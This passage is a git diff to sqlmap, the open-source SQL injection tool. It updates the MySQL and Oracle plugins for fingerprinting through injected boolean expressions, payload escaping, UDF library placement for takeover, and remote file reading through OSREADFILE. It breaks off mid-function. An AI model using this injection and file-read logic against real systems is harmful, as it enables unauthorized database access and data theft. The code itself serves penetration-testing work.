(DBMS.MYSQL, Backend.getVersion())) - if Backend.isVersionGreaterOrEqualThan("5"): + if Backend.isVersionGreaterOrEqualThan("5") or inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): kb.data.has_information_schema = True - self.getBanner() return True @@ -167,27 +187,46 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) - randInt = getUnicode(randomInt(1)) - result = inject.checkBooleanExpression("CONNECTION_ID()=CONNECTION_ID()") + result = inject.checkBooleanExpression("IFNULL(QUARTER(NULL),NULL XOR NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("USER()=USER()") + result = inject.checkBooleanExpression("COALESCE(SESSION_USER(),USER()) IS NOT NULL") + + if not result: + # Note: MemSQL doesn't support SESSION_USER() + result = inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL") + + if result: + hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL) if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 + kb.data.has_information_schema = True + + # Determine if it is MySQL >= 9.0.0 + if inject.checkBooleanExpression("ISNULL(VECTOR_DIM(NULL))"): + Backend.setVersion(">= 9.0.0") + setDbms("%s 9" % DBMS.MYSQL) + self.getBanner() + + # Determine if it is MySQL >= 8.0.0 + elif inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"): + Backend.setVersion(">= 8.0.0") + setDbms("%s 8" % DBMS.MYSQL) + self.getBanner() + # Determine if it is MySQL >= 5.0.0 - if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,%s,%s))" % (randInt, randInt)): - kb.data.has_information_schema = True + elif inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() @@ -198,19 +237,27 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.MYSQL logger.info(infoMsg) - # Check if it is MySQL >= 5.5.0 - if inject.checkBooleanExpression("TO_SECONDS(950501)>0"): - Backend.setVersion(">= 5.5.0") + # Check if it is MySQL >= 5.7 + if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"): + Backend.setVersion(">= 5.7") + + # Check if it is MySQL >= 5.6 + elif inject.checkBooleanExpression("ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"): + Backend.setVersion(">= 5.6") + + # Check if it is MySQL >= 5.5 + elif inject.checkBooleanExpression("TO_SECONDS(950501)>0"): + Backend.setVersion(">= 5.5") # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"): - if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)" % (randInt, randInt)): + if inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.12", "< 5.5.0"]) - elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1)" % (randInt,randInt)): + elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.7", "< 5.1.12"]) - elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1)" % (randInt, randInt)): + elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)"): Backend.setVersion("= 5.1.6") - elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1)" % (randInt, randInt)): + elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.5", "< 5.1.6"]) else: Backend.setVersionList([">= 5.1.2", "< 5.1.5"]) @@ -220,7 +267,7 @@ def checkDbms(self): Backend.setVersionList([">= 5.0.38", "< 5.1.2"]) elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"): Backend.setVersionList([">= 5.0.19", "< 5.0.38"]) - elif not inject.checkBooleanExpression("%s=(SELECT %s FROM DUAL WHERE %s!=%s)" % (randInt, randInt, randInt, randInt)): + elif not inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])"): Backend.setVersionList([">= 5.0.11", "< 5.0.19"]) elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"): Backend.setVersionList([">= 5.0.6", "< 5.0.11"]) @@ -229,7 +276,6 @@ def checkDbms(self): else: Backend.setVersionList([">= 5.0.0", "< 5.0.3"]) - # For cases when information_schema is missing elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): Backend.setVersion(">= 5.0.2") setDbms("%s 5" % DBMS.MYSQL) @@ -240,6 +286,8 @@ def checkDbms(self): setDbms("%s 4" % DBMS.MYSQL) self.getBanner() + kb.data.has_information_schema = False + if not conf.extensiveFp: return True @@ -262,10 +310,12 @@ def checkDbms(self): setDbms("%s 3" % DBMS.MYSQL) self.getBanner() + kb.data.has_information_schema = False + return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index f03210ffa9e..fefe4d88b1a 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,59 +1,31 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import binascii -import re -from lib.core.convert import utf8encode -from lib.core.exception import sqlmapSyntaxException +from lib.core.convert import getBytes +from lib.core.convert import getOrds +from lib.core.convert import getUnicode from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod - def unescape(expression, quote=True): - if quote: - unescaped = expression - for item in re.findall(r"'[^']+'", expression, re.S): - try: - unescaped = unescaped.replace(item, "0x%s" % binascii.hexlify(item.strip("'"))) - except UnicodeEncodeError: - unescaped = unescaped.replace(item, "CONVERT(0x%s USING utf8)" % "".join("%.2x" % ord(_) for _ in utf8encode(item.strip("'")))) - else: - unescaped = "0x%s" % binascii.hexlify(expression) - - return unescaped - - @staticmethod - def escape(expression): - while True: - index = expression.find("CHAR(") - if index == -1: - break - - firstIndex = index - index = expression[firstIndex:].find(")") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression - - lastIndex = firstIndex + index + 1 - old = expression[firstIndex:lastIndex] - oldUpper = old.upper() - oldUpper = oldUpper.lstrip("CHAR(").rstrip(")") - oldUpper = oldUpper.split(",") - - escaped = "'%s'" % "".join(chr(int(char)) for char in oldUpper) - expression = expression.replace(old, escaped) - - original = expression - for item in re.findall(r"0x[0-9a-fA-F]+", original, re.S): - expression = expression.replace(item, "'%s'" % binascii.unhexlify(item[2:])) - - return expression + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 0x6162636465666768 FROM foobar" + True + >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CONVERT(0x61626364c3ab666768 USING utf8) FROM foobar" + True + """ + + def escaper(value): + if all(_ < 128 for _ in getOrds(value)): + return "0x%s" % getUnicode(binascii.hexlify(getBytes(value))) + else: + return "CONVERT(0x%s USING utf8)" % getUnicode(binascii.hexlify(getBytes(value, "utf8"))) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index 45d722d6ee5..81851506412 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,23 +1,26 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import re +import os from lib.core.agent import agent from lib.core.common import Backend -from lib.core.common import isTechniqueAvailable +from lib.core.common import decloakToTemp +from lib.core.common import isStackingAvailable +from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import randomStr +from lib.core.common import unArrayizeValue +from lib.core.compat import LooseVersion from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import OS -from lib.core.enums import PAYLOAD from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.takeover import Takeover as GenericTakeover @@ -26,6 +29,7 @@ class Takeover(GenericTakeover): def __init__(self): self.__basedir = None self.__datadir = None + self.__plugindir = None GenericTakeover.__init__(self) @@ -34,39 +38,44 @@ def udfSetRemotePath(self): banVer = kb.bannerFp["dbmsVersion"] - # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 - if banVer >= "5.1.19": - if self.__basedir is None: + if banVer and LooseVersion(banVer) >= LooseVersion("5.0.67"): + if self.__plugindir is None: + logger.info("retrieving MySQL plugin directory absolute path") + self.__plugindir = unArrayizeValue(inject.getValue("SELECT @@plugin_dir")) + + # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 + if self.__plugindir is None and LooseVersion(banVer) >= LooseVersion("5.1.19"): logger.info("retrieving MySQL base directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir - self.__basedir = inject.getValue("SELECT @@basedir") + self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir")) - if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I): + if isWindowsDriveLetterPath(self.__basedir or ""): Backend.setOs(OS.WINDOWS) else: Backend.setOs(OS.LINUX) - # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin - if Backend.isOs(OS.WINDOWS): - self.__basedir += "/lib/plugin" - else: - self.__basedir += "/lib/mysql/plugin" + # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin + if Backend.isOs(OS.WINDOWS): + self.__plugindir = "%s/lib/plugin" % self.__basedir + else: + self.__plugindir = "%s/lib/mysql/plugin" % self.__basedir + + self.__plugindir = ntToPosixSlashes(normalizePath(self.__plugindir)) or '.' - self.__basedir = ntToPosixSlashes(normalizePath(self.__basedir)) - self.udfRemoteFile = "%s/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt) + self.udfRemoteFile = "%s/%s.%s" % (self.__plugindir, self.udfSharedLibName, self.udfSharedLibExt) # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file else: - #logger.debug("retrieving MySQL data directory absolute path") + # logger.debug("retrieving MySQL data directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir - #self.__datadir = inject.getValue("SELECT @@datadir") + # self.__datadir = inject.getValue("SELECT @@datadir") # NOTE: specifying the relative path as './udf.dll' # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 - self.__datadir = "." + self.__datadir = '.' self.__datadir = ntToPosixSlashes(normalizePath(self.__datadir)) # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, @@ -78,10 +87,12 @@ def udfSetLocalPaths(self): self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) if Backend.isOs(OS.WINDOWS): - self.udfLocalFile += "/mysql/windows/%d/lib_mysqludf_sys.dll" % Backend.getArch() + _ = os.path.join(self.udfLocalFile, "mysql", "windows", "%d" % Backend.getArch(), "lib_mysqludf_sys.dll_") + self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "dll" else: - self.udfLocalFile += "/mysql/linux/%d/lib_mysqludf_sys.so" % Backend.getArch() + _ = os.path.join(self.udfLocalFile, "mysql", "linux", "%d" % Backend.getArch(), "lib_mysqludf_sys.so_") + self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "so" def udfCreateFromSharedLib(self, udf, inpRet): @@ -99,7 +110,7 @@ def udfCreateFromSharedLib(self, udf, inpRet): logger.debug("keeping existing UDF '%s' as requested" % udf) def uncPathRequest(self): - if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): + if not isStackingAvailable(): query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index e3369ecef93..cedb15250e4 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,11 +23,7 @@ class OracleMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = ORACLE_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) - unescaper[DBMS.ORACLE] = Syntax.unescape + unescaper[DBMS.ORACLE] = Syntax.escape diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 98fa869ce5d..0d011fb8afd 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,74 +1,71 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: - import cx_Oracle -except ImportError, _: + import oracledb +except ImportError: pass +import logging import os -from lib.core.convert import utf8encode +from lib.core.common import getSafeExString +from lib.core.convert import getText +from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector os.environ["NLS_LANG"] = ".AL32UTF8" class Connector(GenericConnector): """ - Homepage: http://cx-oracle.sourceforge.net/ - User guide: http://cx-oracle.sourceforge.net/README.txt - API: http://cx-oracle.sourceforge.net/html/index.html - License: http://cx-oracle.sourceforge.net/LICENSE.txt + Homepage: https://oracle.github.io/python-oracledb/ + User: https://python-oracledb.readthedocs.io/en/latest/ + License: https://github.com/oracle/python-oracledb/blob/main/LICENSE.txt """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() - self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db) - self.__dsn = utf8encode(self.__dsn) - self.user = utf8encode(self.user) - self.password = utf8encode(self.password) + + self.user = getText(self.user) + self.password = getText(self.password) try: - self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) + dsn = oracledb.makedsn(self.hostname, self.port, service_name=self.db) + self.connector = oracledb.connect(user=self.user, password=self.password, dsn=dsn, mode=oracledb.AUTH_MODE_SYSDBA) logger.info("successfully connected as SYSDBA") - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError), _: + except oracledb.DatabaseError: + # Try again without SYSDBA try: - self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError), msg: - raise sqlmapConnectionException, msg + self.connector = oracledb.connect(user=self.user, password=self.password, dsn=dsn) + except oracledb.DatabaseError as ex: + raise SqlmapConnectionException(ex) - self.setCursor() - self.connected() + self.initCursor() + self.printConnected() def fetchall(self): try: return self.cursor.fetchall() - except cx_Oracle.InterfaceError, msg: - logger.warn("(remote) %s" % msg) + except oracledb.InterfaceError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): retVal = False try: - self.cursor.execute(utf8encode(query)) + self.cursor.execute(getText(query)) retVal = True - except (cx_Oracle.DatabaseError), msg: - logger.warn("(remote) %s" % msg) - except cx_Oracle.InternalError, msg: - raise sqlmapConnectionException, msg + except oracledb.DatabaseError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) self.connector.commit() - return retVal def select(self, query): diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index 9bbb15f1175..96b1a262cd2 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,37 +1,37 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.common import Backend from lib.core.common import getLimitRange +from lib.core.common import isAdminFromPrivileges from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import CURRENT_USER from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getRoles(self, query2=False): infoMsg = "fetching database users roles" - rootQuery = queries[Backend.getIdentifiedDbms()].roles + rootQuery = queries[DBMS.ORACLE].roles - if conf.user == "CU": + if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() @@ -40,7 +40,7 @@ def getRoles(self, query2=False): # Set containing the list of DBMS administrators areAdmins = set() - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 @@ -49,14 +49,14 @@ def getRoles(self, query2=False): condition = rootQuery.inband.condition if conf.user: - users = conf.user.split(",") + users = conf.user.split(',') query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) - values = inject.getValue(query, blind=False) + values = inject.getValue(query, blind=False, time=False) if not values and not query2: - infoMsg = "trying with table USER_ROLE_PRIVS" + infoMsg = "trying with table 'USER_ROLE_PRIVS'" logger.info(infoMsg) return self.getRoles(query2=True) @@ -66,7 +66,7 @@ def getRoles(self, query2=False): user = None roles = set() - for count in xrange(0, len(value)): + for count in xrange(0, len(value or [])): # The first column is always the username if count == 0: user = value[count] @@ -78,19 +78,14 @@ def getRoles(self, query2=False): # In Oracle we get the list of roles as string roles.add(role) - if self.__isAdminFromPrivileges(roles): - areAdmins.add(user) - - if kb.data.cachedUsersRoles.has_key(user): - kb.data.cachedUsersRoles[user].extend(roles) + if user in kb.data.cachedUsersRoles: + kb.data.cachedUsersRoles[user] = list(roles.union(kb.data.cachedUsersRoles[user])) else: kb.data.cachedUsersRoles[user] = list(roles) if not kb.data.cachedUsersRoles and isInferenceAvailable() and not conf.direct: - conditionChar = "=" - if conf.user: - users = conf.user.split(",") + users = conf.user.split(',') else: if not len(kb.data.cachedUsers): users = self.getUsers() @@ -118,18 +113,18 @@ def getRoles(self, query2=False): query = rootQuery.blind.count2 % queryUser else: query = rootQuery.blind.count % queryUser - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if count != 0 and not query2: - infoMsg = "trying with table USER_SYS_PRIVS" + infoMsg = "trying with table 'USER_SYS_PRIVS'" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "roles for user '%s'" % user - logger.warn(warnMsg) + logger.warning(warnMsg) continue infoMsg = "fetching roles for user '%s'" % user @@ -144,7 +139,7 @@ def getRoles(self, query2=False): query = rootQuery.blind.query2 % (queryUser, index) else: query = rootQuery.blind.query % (queryUser, index) - role = inject.getValue(query, inband=False, error=False) + role = inject.getValue(query, union=False, error=False) # In Oracle we get the list of roles as string roles.add(role) @@ -154,13 +149,17 @@ def getRoles(self, query2=False): else: warnMsg = "unable to retrieve the roles " warnMsg += "for user '%s'" % user - logger.warn(warnMsg) + logger.warning(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersRoles: errMsg = "unable to retrieve the roles " errMsg += "for the database users" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException(errMsg) + + for user, privileges in kb.data.cachedUsersRoles.items(): + if isAdminFromPrivileges(privileges): + areAdmins.add(user) - return ( kb.data.cachedUsersRoles, areAdmins ) + return kb.data.cachedUsersRoles, areAdmins diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index 1a69e400558..197b9bddc99 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,23 +1,59 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.agent import agent +from lib.core.common import dataToOutFile +from lib.core.common import decodeDbmsHexValue +from lib.core.common import getSQLSnippet +from lib.core.common import isNoneValue +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS +from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject +from lib.request.connect import Connect as Request from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) + def readFile(self, remoteFile): + localFilePaths = [] + snippet = getSQLSnippet(DBMS.ORACLE, "read_file_export_extension") - def readFile(self, rFile): - errMsg = "File system read access not yet implemented for " - errMsg += "Oracle" - raise sqlmapUnsupportedFeatureException, errMsg + for query in snippet.split("\n"): + query = query.strip() + query = agent.prefixQuery("OR (%s) IS NULL" % query) + query = agent.suffixQuery(query, trimEmpty=False) + payload = agent.payload(newValue=query) + Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) + + for remoteFile in remoteFile.split(','): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + kb.fileReadMode = True + fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + kb.fileReadMode = False + + if not isNoneValue(fileContent): + fileContent = decodeDbmsHexValue(fileContent, True) + + if fileContent.strip(): + localFilePath = dataToOutFile(remoteFile, fileContent) + localFilePaths.append(localFilePath) + + elif not kb.bruteMode: + errMsg = "no data retrieved" + logger.error(errMsg) + + return localFilePaths - def writeFile(self, wFile, dFile, fileType=None): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "File system write access not yet implemented for " errMsg += "Oracle" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 1d256a1d3c2..5eacf432461 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,18 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.session import setDbms from lib.core.settings import ORACLE_ALIASES from lib.request import inject @@ -23,6 +27,16 @@ def __init__(self): GenericFingerprint.__init__(self, DBMS.ORACLE) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("NULL_EQU(NULL,NULL)=1"): + fork = FORK.DM8 + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -39,6 +53,8 @@ def getFingerprint(self): if not conf.extensiveFp: value += DBMS.ORACLE + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -46,19 +62,24 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES) or conf.dbms in ORACLE_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(ORACLE_ALIASES): setDbms(DBMS.ORACLE) self.getBanner() @@ -68,27 +89,27 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.ORACLE logger.info(infoMsg) - # NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting - # directly to the Oracle database + # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does + # not work connecting directly to the Oracle database if conf.direct: result = True else: - result = inject.checkBooleanExpression("ROWNUM=ROWNUM") + result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)") if result: infoMsg = "confirming %s" % DBMS.ORACLE logger.info(infoMsg) - # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does + # NOTE: SELECT NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1]) FROM DUAL does # not work connecting directly to the Oracle database if conf.direct: result = True else: - result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)") + result = inject.checkBooleanExpression("NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -102,9 +123,10 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.ORACLE logger.info(infoMsg) - for version in ("11i", "10g", "9i", "8i"): - number = int(re.search("([\d]+)", version).group(1)) - output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION), 1, %d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) + # Reference: https://en.wikipedia.org/wiki/Oracle_Database + for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"): + number = int(re.search(r"([\d]+)", version).group(1)) + output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) if output: Backend.setVersion(version) @@ -113,7 +135,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 2ca14585e6c..91e255219dc 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,61 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapSyntaxException +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod - def unescape(expression, quote=True): - if quote: - while True: - index = expression.find("'") - if index == -1: - 